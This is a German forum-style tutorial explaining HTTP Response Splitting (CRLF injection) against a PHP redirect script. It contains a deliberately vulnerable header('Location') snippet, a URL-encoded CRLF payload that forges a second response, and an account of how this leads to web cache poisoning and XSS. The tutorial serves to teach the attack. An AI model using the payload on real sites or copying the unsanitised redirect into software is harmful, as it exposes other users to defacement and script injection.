Eine etwas in Vergessenheit geratene Art von Web- basierten Sicherheitslücken ist
der sogenannte "HTTP Response Splitting" Angriff. Er wird auch oftmals als
"HTTP Header Injection" oder "CRLF Injection" bezeichnet.
Einleiten möchte ich diesen Artikel mit einem kleinen Beispiel einer simplen Weiterleitung:
Angenommen wir haben folgendes kleines Script:
Code:
<?php
header("Location: ".$_GET['page']);
?>
Es tut nichts anderes, als die Seite weiterzuleiten auf den GET Parameter.
Ein Aufruf könnte z.B. so aussehen:
Code:
127.0.0.1/forward.php?page=http://www.google.de
Betrachtet man die jeweiligen Request und Answer Header wird dies in etwa (hier vereinfacht) so aussehen:
Code:
GET /forward.php?page=http://www.google.de HTTP/1.1
Host: 127.0.0.1
Keep-Alive: 300
Connection: keep-alive
HTTP/1.1 302 Found
Date: Wed, 19 Aug 2009 12:50:14 GMT
Server: Apache
Location: http://www.google.de
Content-Type: text/html
GET / HTTP/1.1
Host: www.google.de
Keep-Alive: 300
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 19 Aug 2009 12:51:41 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Server: gws
Transfer-Encoding: chunked
Wie zu erkennen, wird zunächst ein Request an der Weiterleitungsskript gestartet, und die
gewünschte URL übergeben. Der Server Antwortet nicht etwa mit dem Statuscode 200 (OK)
sondern mit 302 (Found)
Dies impliziert eine temporäre Weiterleitung.
Am Location-Feld des ersten Antwort Headers erkennt man die gewünschte Adresse, auf die weitergeleitet
werden soll.
Dementsprechend wird ein zweites Request gestartet, in diesem Beispiel an Google, bei dem der Server
ganz normal mit einem 200 OK antwortet, und den Inhalt anzeigt.
Wir wollen unser Augenmerk nicht auf die Weiterleitung ansich legen, sondern auf die Tatsache, dass
wir Einfluss darauf haben, was im Location Feld vorzufinden ist.
Laut HTTP Spezifikation muss jedes Feld des Headers mit einem Carriage Return (CR) und einem
Line Feed (LF) enden. Dies ist ein Zeilenumbruch, der auch als \r\n oder %0d%0a geschrieben werden
kann.
Macht man sich diese Tatsache zunutze, kann man aus dem Feld, sofern man Einfluss darauf hat, ausbrechen.
Die Technik beim HTTP Response Splitting besteht im kompromittieren eines Proxy- oder Cacheservers,
der dem Webserver vorgeschaltet ist.
Hierzu generiert man 2 verschiedene Antworten, die vom Cache unterschiedlich interpretiert werden.
Ein kleines Beispiel:
Code:
127.0.0.1/forward.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0a<html>CRLF Injection</html>
Da dies in dieser Form sehr kryptisch aussieht, möchte ich es kurz anders darstellen:
Code:
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 27
<html>CRLF Injection</html>
Was bedeutet dies nun für unsere Request/Response Ausgabe?
Code:
GET /forward.php?page=download%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2027%0d%0a%0d%0a<html>CRLF Injection</html> HTTP/1.1
Host: 127.0.0.1
Keep-Alive: 300
Connection: keep-alive
HTTP/1.1 302 Found
Date: Wed, 19 Aug 2009 12:50:14 GMT
Server: Apache
Location:
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 27
<html>CRLF Injection</html>
Content-Type: text/html
Wie wir erkennen, existieren nun 2 Responses zu einem einzigen Request.
Die erste Antwort ist die vom Webserver generierte, mit dem Statuscode 302.
Die zweite Antwort haben wir vollständig selbst generiert, und bei Erfolg
sollte bereits jetzt eine weiße Seite mit unserem Content erscheinen.
Bis jetzt ist diese Methode Clientseitig, könnte also als XSS genutzt werden,
doch ist es möglich, das ganze noch weiterzuführen.
Wenn wir ein zweites Request über die gleiche Verbindung absetzen, z.b. auf:
Code:
127.0.0.1/index.php
So ordnet der Cache Server diesem zweiten Request die von uns generierte zweite Antwort zu,
sodass der Inhalt dessen in den Cache einfließt.
Dieses Verhalten wird auch als Cross-User-Defacement oder Web Cache Poisoning bezeichnet, und weiterhin
ist es möglich Second-Order-XSS einzuschleusen, also persistente serverseitige Attacken.
Es gibt zahlreiche Methoden, den Cache dazu zu bringen, die aufgerufene Seite zu cachen, auf die
ich hier nicht weiter eingehe.
Es ist wichtig zu erwähnen, dass ab den PHP Versionen 4.4.2 und 5.1.2 die header() Funktion
gefixed wurde, und es nicht mehr möglich ist, einen Header mit mehreren Zeilen zu senden.
Sofern Erfahrungen mit Cache Poisoning vorhanden sind,
wäre ich über Gesprächsthemen diesbezüglich nicht abgeneigt.
Einen schönen Sommertag wünscht Lidloses_Auge
